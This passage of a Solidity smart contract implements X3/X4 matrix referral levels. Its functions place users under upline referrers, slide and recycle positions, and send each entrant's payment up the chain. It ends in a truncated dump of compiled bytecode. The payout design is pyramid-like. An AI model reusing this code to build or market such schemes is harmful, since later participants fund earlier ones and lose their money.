x3.reinvestCount - 1,
false
);
} else {
emit IndexUser(
Site.X3,
userAddress,
ref,
address(0x0),
level,
skip,
relation,
1,
1,
x3.reinvestCount - 1,
x3.status == 1
);
}
// Buy agin
return updateX3(ref, users[ref].referrer, level, skip + 1);
}
function x4Transfer(
address userAddress,
address ref,
uint8 level,
uint256 amount
) private {
(address receiver, uint256 skip) = updateX4(userAddress, ref, level, 0);
transfer(Site.X4, level, userAddress, receiver, skip, amount);
}
// x4 update
// @userAddress Register or upgrade user address
// @return The address to receive funds
function updateX4(
address userAddress,
address referrer,
uint8 level,
uint256 skip
) private returns (address, uint256) {
address ref = findX4ActiveReferrer(referrer, level);
X4 storage x4 = users[ref].x4Site[level];
Relation relation = Relation.Direct;
if (ref != referrer) {
relation = Relation.Gift;
}
address partner = address(0x0);
if (x4.firstPoints.length < 2) {
partner = ref;
x4.firstPoints.push(userAddress);
users[userAddress].x4Site[level].ref = ref;
emit IndexUser(
Site.X4,
userAddress,
ref,
address(0x0),
level,
skip,
relation,
0,
1,
x4.reinvestCount,
x4.status == 1
);
if (ref == owner) {
return (owner, skip);
}
// isSlide = false
return
updateX4Second(userAddress, x4.ref, level, ref, relation, skip);
} else {
// isSlide = true
return
updateX4Second(
userAddress,
ref,
level,
address(0x0),
relation,
skip
);
}
}
// Update the second level points
function updateX4Second(
address userAddress,
address ref,
uint8 level,
address partner,
Relation relation,
uint256 skip
) private returns (address receiver, uint256) {
X4 storage x4 = users[ref].x4Site[level];
// Update the first level point
bool isSlide = partner == address(0x0);
address slideTo;
if (isSlide) {
if (x4.leftPoints.length <= x4.rightPoints.length) {
// left
slideTo = x4.firstPoints[0];
} else {
// right
slideTo = x4.firstPoints[1];
}
X4 storage slideX4 = users[slideTo].x4Site[level];
slideX4.firstPoints.push(userAddress);
users[userAddress].x4Site[level].ref = slideTo;
emit IndexUser(
Site.X4,
userAddress,
slideTo,
partner,
level,
skip,
Relation.Slide,
0,
1,
slideX4.reinvestCount,
slideX4.status == 1
);
} else {
slideTo = partner;
}
if (x4.rightPoints.length + x4.leftPoints.length >= 3) {
// Determine whether the loop can continue
x4.leftPoints = new address[](0);
x4.rightPoints = new address[](0);
x4.firstPoints = new address[](0);
x4.ref = address(0x0);
x4.reinvestCount++;
if (
level < MAX_LEVEL &&
users[ref].x4Site[level + 1].status == 0 &&
x4.status == 1
) {
x4.status = 2;
emit IndexUser(
Site.X4,
userAddress,
ref,
slideTo,
level,
skip,
relation,
2,
2,
x4.reinvestCount - 1,
false
);
} else {
emit IndexUser(
Site.X4,
userAddress,
ref,
slideTo,
level,
skip,
relation,
1,
2,
x4.reinvestCount - 1,
x4.status == 1
);
}
if (ref == owner) {
return (owner, skip);
}
// Buy again
return updateX4(ref, users[ref].referrer, level, skip + 1);
}
// Enough points
if (slideTo == x4.firstPoints[0]) {
x4.leftPoints.push(userAddress);
} else {
x4.rightPoints.push(userAddress);
}
if (isSlide) {
emit IndexUser(
Site.X4,
userAddress,
ref,
slideTo,
level,
skip,
relation,
0,
2,
x4.reinvestCount,
x4.status == 1
);
} else {
emit IndexUser(
Site.X4,
userAddress,
ref,
slideTo,
level,
skip,
Relation.Partner,
0,
2,
x4.reinvestCount,
x4.status == 1
);
}
return (ref, skip);
}
function findX3ActiveReferrer(address addr, uint8 level)
public
view
returns (address)
{
while (true) {
if (users[addr].x3Site[level].status > 0) {
return addr;
}
addr = users[addr].referrer;
}
return addr;
}
function findX4ActiveReferrer(address addr, uint8 level)
public
view
returns (address)
{
while (true) {
if (users[addr].x4Site[level].status > 0) {
return addr;
}
addr = users[addr].referrer;
}
return addr;
}
// Get x3 information
// @param addr user address
// @param level level level
function userX3Site(address addr, uint8 level)
public
view
returns (
uint8 status,
uint256 reinvestCount,
address[] memory points,
address ref
)
{
X3 memory x3 = users[addr].x3Site[level];
status = x3.status;
reinvestCount = x3.reinvestCount;
points = x3.points;
ref = x3.ref;
}
// Get x3 information
// @param addr user address
// @param level level level
function userX4Site(address addr, uint8 level)
public
view
returns (
uint8 status,
uint256 reinvestCount,
address[] memory firstPoints,
address[] memory leftPoints,
address[] memory rightPoints,
address ref
)
{
X4 memory x4 = users[addr].x4Site[level];
status = x4.status;
reinvestCount = x4.reinvestCount;
firstPoints = x4.firstPoints;
leftPoints = x4.leftPoints;
rightPoints = x4.rightPoints;
ref = x4.ref;
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
}
|
0x6080604052600436106100ec5760003560e01c80638da5cb5b1161008a578063b6013e9011610059578063b6013e9014610690578063bfaae017146106bb578063ecabdf791461079c578063f514ce36146107ee5761018a565b80638da5cb5b14610427578063a49062d414610468578063a7db50be14610496578063a87430ba146106075761018a565b806353c3b40c116100c657806353c3b40c146102d85780637cb735551461033d578063867dcf231461036e5780638a7fc2e2146103f65761018a565b80634420e4861461018f5780634b208eef146101e9578063509222cd146102715761018a565b3661018a57600080369050141561012f5761012933600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610819565b50610188565b610186336101816000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050610a53565b610819565b505b005b600080fd5b6101d1600480360360208110156101a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a61565b60405180821515815260200191505060405180910390f35b3480156101f557600080fd5b506102456004803603604081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610a74565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027d57600080fd5b506102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b6f565b60405180821515815260200191505060405180910390f35b3480156102e457600080fd5b50610311600480360360208110156102fb57600080fd5b8101908080359060200190929190505050610bbe565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61036c6004803603602081101561035357600080fd5b81019080803560ff169060200190929190505050610bf1565b005b34801561037a57600080fd5b506103ca6004803603604081101561039157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610bff565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104256004803603602081101561040c57600080fd5b81019080803560ff169060200190929190505050610cfa565b005b34801561043357600080fd5b5061043c610d08565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047457600080fd5b5061047d610d2e565b604051808260ff16815260200191505060405180910390f35b3480156104a257600080fd5b506104f2600480360360408110156104b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610d33565b604051808760ff1681526020018681526020018060200180602001806020018573ffffffffffffffffffffffffffffffffffffffff168152602001848103845288818151815260200191508051906020019060200280838360005b8381101561056857808201518184015260208101905061054d565b50505050905001848103835287818151815260200191508051906020019060200280838360005b838110156105aa57808201518184015260208101905061058f565b50505050905001848103825286818151815260200191508051906020019060200280838360005b838110156105ec5780820151818401526020810190506105d1565b50505050905001995050505050505050505060405180910390f35b34801561061357600080fd5b506106566004803603602081101561062a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611007565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b34801561069c57600080fd5b506106a5611051565b6040518082815260200191505060405180910390f35b3480156106c757600080fd5b50610717600480360360408110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919050505061105c565b604051808560ff168152602001848152602001806020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019060200280838360005b8381101561078557808201518184015260208101905061076a565b505050509050019550505050505060405180910390f35b3480156107a857600080fd5b506107d8600480360360208110156107bf57600080fd5b81019080803560ff169060200190929190505050611202565b6040518082815260200191505060405180910390f35b3480156107fa57600080fd5b5061080361121a565b6040518082815260200191505060405180910390f35b600060026658d15e1762800002341461089a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f57726f6e6720726567697374726174696f6e20636f73742e000000000000000081525060200191505060405180910390fd5b6108a383610b6f565b15610916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f55736572206578697374732e000000000000000000000000000000000000000081525060200191505060405180910390fd5b61091f82610b6f565b610991576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5265666572726572206e6f74206578697374732e00000000000000000000000081525060200191505060405180910390fd5b6000833b905060008163ffffffff1614610a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f43616e6e6f74206265206120636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b610a1f84846001611220565b50610a34848460016658d15e17628000611522565b610a48848460016658d15e1762800061154d565b600191505092915050565b600060148201519050919050565b6000610a6d3383610819565b9050919050565b60005b600115610b65576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008460ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff161115610afb57829050610b69565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250610a77565b8290505b92915050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414159050919050565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfc600082611578565b50565b60005b600115610cf0576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008460ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff161115610c8657829050610cf4565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250610c02565b8290505b92915050565b610d05600182611578565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c81565b60008060608060606000610d45613b2b565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008960ff1660ff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820154815260200160028201805480602002602001604051908101604052809291908181526020018280548015610e5557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610e0b575b5050505050815260200160038201805480602002602001604051908101604052809291908181526020018280548015610ee357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610e99575b5050505050815260200160048201805480602002602001604051908101604052809291908181526020018280548015610f7157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610f27575b505050505081526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050905080600001519650806020015195508060400151945080606001519350806080015192508060a001519150509295509295509295565b60036020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154905083565b6658d15e1762800081565b6000806060600061106b613b7a565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008760ff1660ff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff168152602001600182015481526020016002820180548060200260200160405190810160405280929190818152602001828054801561117b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611131575b505050505081526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050806000015194508060200151935080604001519250806060015191505092959194509250565b60026020528060005260406000206000915090505481565b60005481565b6000600c60ff168260ff16111561129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4c6576656c2065786365656473206d6178696d756d206c696d69742e0000000081525060200191505060405180910390fd5b83600460008054815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000548160000181905550838160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600190505b8360ff168160ff16116114145760018260030160008360ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060018260040160008360ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff160217905550808060010191505061138a565b50600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461149c57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919060010191905055505b600054915060008081548092919060010191905055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f0ae3ad9ffacf0249a525ba2bc830acd7606da7c19d7f31c4ff5d426c06b8235785604051808260ff16815260200191505060405180910390a3509392505050565b6000806115328686866000611d2d565b9150915061154560008588858588612527565b505050505050565b60008061155d8686866000612bb6565b9150915061157060018588858588612527565b505050505050565b6000600260008360ff1660ff16815260200190815260200160002054905060018260ff161180156115b05750600c60ff168260ff1611155b611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c6964206c6576656c2e00000000000000000000000000000000000081525060200191505060405180910390fd5b803414611697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642070726963652e00000000000000000000000000000000000081525060200191505060405180910390fd5b6116a033610b6f565b6116f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613c81602b913960400191505060405180910390fd5b6000600181111561170257fe5b83600181111561170e57fe5b1415611a20576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008460ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff16146117d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180613cac6028913960400191505060405180910390fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006001850360ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff16116118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43616e206e6f74206c65617066726f6720757067726164652e0000000000000081525060200191505060405180910390fd5b61192c33600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168484611522565b6001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008460ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006001850360ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff160217905550611d28565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008460ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff1614611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180613cd46028913960400191505060405180910390fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006001850360ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff1611611bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43616e206e6f74206c65617066726f6720757067726164652e0000000000000081525060200191505060405180910390fd5b611c3833600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16848461154d565b6001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008460ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006001850360ff1660ff16815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055505b505050565b6000806000611d3c8686610a74565b90506000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008860ff1660ff168152602001908152602001600020905060008873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611e1857600390505b8373ffffffffffffffffffffffffffffffffffffffff168360030160008a60ff1660ff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ee757838360030160008a60ff1660ff16815260200190815260200160002060030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60028260020180549050101561205957816002018a9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1660006001811115611f9757fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a60008c8c87600060018b6001015460018d60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff16815260200187815260200186600381111561201957fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a48387955095505050505061251e565b600067ffffffffffffffff8111801561207157600080fd5b506040519080825280602002602001820160405280156120a05781602001602082028036833780820191505090505b508260020190805190602001906120b8929190613bbb565b508160010160008154809291906001019190505550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561220c578373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff166000600181111561215e57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a60008c8c8760018060018c60010154036001604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff1681526020018781526020018660038111156121cc57fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a48387955095505050505061251e565b600c60ff168860ff1610801561229157506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600060018b0160ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff16145b80156122b1575060018260000160009054906101000a900460ff1660ff16145b156123b35760028260000160006101000a81548160ff021916908360ff1602179055508373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff166000600181111561230f57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a60008c8c8760026001808c60010154036000604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff16815260200187815260200186600381111561237d57fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a46124a4565b8373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16600060018111156123ee57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a60008c8c8760018060018c600101540360018d60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff16815260200187815260200186600381111561247257fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a45b61251584600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168a60018b01611d2d565b95509550505050505b94509492505050565b6000600181111561253457fe5b86600181111561254057fe5b1415612783575b60011561277e57612556613b7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008760ff1660ff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff168152602001600182015481526020016002820180548060200260200160405190810160405280929190818152602001828054801561266657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161261c575b505050505081526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090506002816000015160ff161415612772578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1688600181111561271157fe5b7f62b8feaed0032533e6ad83348503a6c76cc68547fb0365522c29660c2259279e858a600189604051808581526020018460ff168152602001831515815260200182815260200194505050505060405180910390a480606001519350612778565b5061277e565b50612547565b612ad8565b5b600115612ad757612793613b2b565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008760ff1660ff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff1660ff1660ff16815260200160018201548152602001600282018054806020026020016040519081016040528092919081815260200182805480156128a357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612859575b505050505081526020016003820180548060200260200160405190810160405280929190818152602001828054801561293157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116128e7575b50505050508152602001600482018054806020026020016040519081016040528092919081815260200182805480156129bf57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612975575b505050505081526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090506002816000015160ff161415612acb578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16886001811115612a6a57fe5b7f62b8feaed0032533e6ad83348503a6c76cc68547fb0365522c29660c2259279e858a600189604051808581526020018460ff168152602001831515815260200182815260200194505050505060405180910390a48060a001519350612ad1565b50612ad7565b50612784565b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16876001811115612b1257fe5b7f62b8feaed0032533e6ad83348503a6c76cc68547fb0365522c29660c2259279e8489600088604051808581526020018460ff168152602001831515815260200182815260200194505050505060405180910390a48273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bad573d6000803e3d6000fd5b50505050505050565b6000806000612bc58686610bff565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008760ff1660ff168152602001908152602001600020905060008773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612c5e57600390505b6000600283600201805490501015612f2657839050826002018a9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008a60ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16600180811115612dad57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a60008c8c88600060018c6001015460018e60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff168152602001878152602001866003811115612e2f57fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a4600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612ee757600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16879550955050505050612f3e565b612f198a8460050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168a87868c612f47565b9550955050505050612f3e565b612f358a858a6000868c612f47565b95509550505050505b94509492505050565b6000806000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008860ff1660ff168152602001908152602001600020905060008073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16149050600081156132c7578260040180549050836003018054905011613039578260020160008154811061300757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613077565b8260020160018154811061304957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008b60ff1660ff1681526020019081526020016000209050806002018c9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008c60ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1660018081111561320e57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a8c8e8c6002600060018a6001015460018c60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff16815260200187815260200186600381111561329057fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a4506132cb565b8790505b60038360030180549050846004018054905001106137f357600067ffffffffffffffff811180156132fb57600080fd5b5060405190808252806020026020018201604052801561332a5781602001602082028036833780820191505090505b50836003019080519060200190613342929190613bbb565b50600067ffffffffffffffff8111801561335b57600080fd5b5060405190808252806020026020018201604052801561338a5781602001602082028036833780820191505090505b508360040190805190602001906133a2929190613bbb565b50600067ffffffffffffffff811180156133bb57600080fd5b506040519080825280602002602001820160405280156133ea5781602001602082028036833780820191505090505b50836002019080519060200190613402929190613bbb565b5060008360050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260010160008154809291906001019190505550600c60ff168960ff161080156134e057506000600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600060018c0160ff1660ff16815260200190815260200160002060000160009054906101000a900460ff1660ff16145b8015613500575060018360000160009054906101000a900460ff1660ff16145b156136005760028360000160006101000a81548160ff021916908360ff1602179055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1660018081111561355d57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a848d8b8d60028060018d60010154036000604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff1681526020018781526020018660038111156135ca57fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a46136f0565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1660018081111561363a57fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a848d8b8d6001600260018d600101540360018e60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff1681526020018781526020018660038111156136be57fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a45b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141561377657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168694509450505050613b20565b6137e78a600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168b60018a01612bb6565b94509450505050613b20565b8260020160008154811061380357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156138cb57826003018b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffffffffff